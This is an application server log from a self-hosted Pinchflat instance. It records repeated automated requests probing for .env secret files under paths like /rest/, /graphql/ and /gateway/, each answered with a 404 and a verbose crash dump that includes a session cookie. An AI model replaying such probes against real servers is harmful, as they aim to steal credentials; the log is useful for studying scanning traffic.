%{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 94, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:15.526 [info] GET /rest/.env 02:10:15.527 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=171.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.528 [debug] QUERY OK source="settings" db=0.3ms idle=114.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.528 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.529 [error] #PID<0.3399.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 95) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /rest/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /rest/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rest/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 95, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3399.0>, params: %{}, path_info: ["rest", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/rest/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6i16sEwUuDoAAReB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rest/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 95, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /rest/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rest/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 95, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, ho (truncated) 02:10:15.587 [info] GET /graphql/.env 02:10:15.588 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=175.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.589 [debug] QUERY OK source="settings" db=0.2ms idle=119.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.589 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.590 [error] #PID<0.3400.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 96) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /graphql/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 96, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3400.0>, params: %{}, path_info: ["graphql", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/graphql/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6jEjYvwghWUAARfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 96, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 96, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:15.649 [info] GET /gateway/.env 02:10:15.650 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=180.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.651 [debug] QUERY OK source="settings" db=0.2ms idle=123.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.651 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.652 [error] #PID<0.3401.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 97) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /gateway/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gateway/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gateway/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 97, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3401.0>, params: %{}, path_info: ["gateway", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/gateway/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6jTRcfOxmM4AARgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gateway/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 97, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gateway/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gateway/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 97, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:15.706 [info] GET /microservice/.env 02:10:15.707 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=178.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.708 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=119.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:15.708 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:15.709 [error] #PID<0.3402.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 98) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /microservice/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /microservice/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/microservice/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 